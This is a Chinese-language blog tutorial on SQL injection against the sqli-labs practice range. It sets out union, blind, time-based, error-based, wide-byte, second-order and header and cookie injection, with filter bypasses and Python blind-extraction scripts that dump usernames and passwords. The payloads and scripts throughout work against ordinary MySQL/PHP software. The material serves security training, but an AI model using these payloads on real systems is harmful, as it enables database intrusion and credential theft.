sql注入详解

 

使用靶场:sql-labs

注入类型

数字型

Less-2

判断方法

id=1
id=2-1
id=1^1^1

可以发现这两种情况的查询结果是相同的,说明是数字型注入。

字符型

Less-1,Less-3~4

判断方法

id=1'

在末尾插入单引号后触发报错,就是字符型注入。

闭合类型

根据报错判断。

单引号闭合

id=1'--%20

单引号和括号闭合

id=1')--%20

双引号和括号闭合

id=1")--%20

注释类型

注释符号有#,%23,--+,--%20等,可以换着试,回显正常就行。

 注入方法

联合注入

Less-1

适用条件

页面有回显的情况下优先使用。

查询语句

查显示位

id=-1' union select 1,2,3--%20

查数据库

id=-1' union select 1,database(),3--%20
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--%20

查表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--%20

查列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=table--%20

查数据

id=-1' union select 1,2,group_concat(column) from table--%20

 布尔盲注

Less-5~8

适用条件

当存在SQL注入时,攻击者无法通过页面或请求的返回信息、回显获得SQL注入语句的执行结果。可以利用返回执行结果的True或False,来判断注入语句是否执行成功。

常用函数

substr(str,start,len)截取字符串,start表示截取字符串的开始位,len表示截取长度。

ascii()返回字符串的ascii值。

查询语句

查数据库

id=1' and ascii(substr(database(),1,1))>0--%20

查表名

id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>0--%20

查列名

id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=table),1,1))>0--%20

查数据

id=1' and ascii(substr((select group_concat(column) from table),1,1))>0--%20

爆破脚本

用二分法能提高爆破速度

上脚本

#coding=gbk
import requests
url="http://localhost/sqli-labs-master/Less-5/"
database=""
flag="You are in..........."
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="id=1' and ascii(substr(database(),{},1))>{}--%20".format(i,mid_num)
        res=requests.get(url+payload)
        if flag in res.text:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    database+=chr(mid_num)
    print(database)
table=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}--%20".format(i,mid_num)
        res=requests.get(url+payload)
        if flag in res.text:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    table+=chr(mid_num)
    print(table)
column=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}--%20".format(i,mid_num)
        res=requests.get(url+payload)
        if flag in res.text:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    column+=chr(mid_num)
    print(column)
data=''
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and ascii(substr((select group_concat(id,':',username,':',password) from users),{},1))>{}--%20".format(i,mid_num)
        res=requests.get(url+payload)
        if flag in res.text:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    data+=chr(mid_num)
    print(data)

 时间盲注

Less-9~10

适用条件

与布尔盲注条件差不多。

常用函数

sleep()函数,设置页面响应时间。

substr(str,start,len)截取字符串,start表示截取字符串的开始位,len表示截取长度。

ascii()返回字符串的ascii值。

查询语句

查数据库

id=1' and if((ascii(substr(database(),1,1))>1),sleep(0.3),1)--%20

查表名

id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1),sleep(0.3),1)--%20

查列名

id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=table),1,1))>1),sleep(0.3),1)--%20

查数据

id=1' and if((ascii(substr((select group_concat(column) from table),1,1))>1),sleep(0.3),1)--%20

爆破脚本

import requests
import time
url="http://localhost/sqli-labs-master/Less-9/"
database=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and if((ascii(substr(database(),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num)
        start_time=time.time()
        res=requests.get(url+payload)
        use_time=time.time()-start_time
        if use_time>0.3:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    database+=chr(mid_num)
    print(database)
table=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num)
        start_time=time.time()
        res=requests.get(url+payload)
        use_time=time.time()-start_time
        if use_time>0.3:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    table+=chr(mid_num)
    print(table)
column=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num)
        start_time=time.time()
        res=requests.get(url+payload)
        use_time=time.time()-start_time
        if use_time>0.3:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    column+=chr(mid_num)
    print(column)
data=''
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="?id=1' and if((ascii(substr((select group_concat(id,':',username,':',password) from users),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num)
        start_time=time.time()
        res=requests.get(url+payload)
        use_time=time.time()-start_time
        if use_time>0.3:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    data+=chr(mid_num)
    print(data)

 报错注入

Less-17~22

适用条件

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

常用函数

updatexml()函数,updatexml(xml_document,xpath_string,new_value)。

extractvalue()函数,extractvalue(xml_document,Xpath_string)。

由于updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,可以适用以下函数截取字符串。

mid()函数,mid(column_name,start,length),start起始值是1。

left()函数,left(str,length),从左边返回length长度的字符串。

right()函数,right(str,length),从右边返回length长度的字符串。

查询语句

查数据库

id=1' and updatexml(1,concat(0x7e,database()),1)#
id=1' and extractvalue(1,concat(0x7e,database()))#

查表名

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#

查列名

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table and table_schema=database())),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table and table_schema=database())))#

查数据

id=1' and updatexml(1,concat(0x7e,(select group_concat(column) from table)),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column) from table)))#

 二次注入

Less-24

适用条件

用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)。

数据库对自己存储的数据非常放心,直接取出恶意数据给用户。

过程

用admin'#注册账号,admin’#会被转义为admin\'#,登录进去后,修改密码时不会对admin'#进行转义,导致修改密码时相当于修改admin的密码。

宽字节注入

Less-32

适用条件

常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。

如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。

这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

查询语句

查数据库

id=1%df' union select 1,2,database()--+

查表名

id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列名

id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=table--+

查数据

id=1%df' union select 1,2,group_concat(column) from table--+

quine注入

适用条件

输入输出一致

查询语句

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

注入点

user-agent注入

Less-18

适用条件

php源码查询语句


$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

说明要插入user-agent、IP和uname到uagents表中的三个列中,所以存在sql注入,可以使用报错注入。

查询语句

查数据库

1',updatexml(1,concat(0x7e,database()),1),3)#

查表名

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),3)#

查列名

1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table)),1),3)#

查数据

1',updatexml(1,concat(0x7e,(select group_concat(column) from table)),1),3)#

referer注入

适用条件

Less-19

php源码查询语句

$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

说明要插入feferer和IP到referer表的两个列中,存在sql注入,使用报错注入。

查询语句

查数据库

1',updatexml(1,concat(0x7e,database()),1))#

查表名

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))#

查列名

1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table)),1))#

查数据

1',updatexml(1,concat(0x7e,(select group_concat(column) from table)),1))#

cookie注入

适用条件

Less-20

php源码查询语句

$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

说明为cookie注入。

查询语句

查数据库

uname=-1' union select 1,database(),3#

查表名

uname=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

查列名

uname=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table#

查数据

uname=-1' union select 1,group_concat(column),3 from table#

过滤绕过

注释过滤绕过

Less-23

有对--%20,--+,#,%23等注释符号的过滤,可以用

id=1' or '1'='1
id=1' or '1
id=1' or '0

绕过过滤。

特定字符过滤绕过

Less-25

and、or绕过

双写绕过。

大小写绕过。

&&,||绕过。

特定单词绕过

双写绕过。

大小写绕过。

空格绕过

Less-26

/**/绕过。

()绕过。

%0a绕过。

 特殊字符转义绕过

转移函数addslashes(),mysql_real_escape_string(),会对特殊字符进行转义。

在进行查列名操作时可以对表名进行十六进制转换绕过转义。

posted @ 2024-07-17 20:44  duskto  阅读(103)  评论(0)    收藏  举报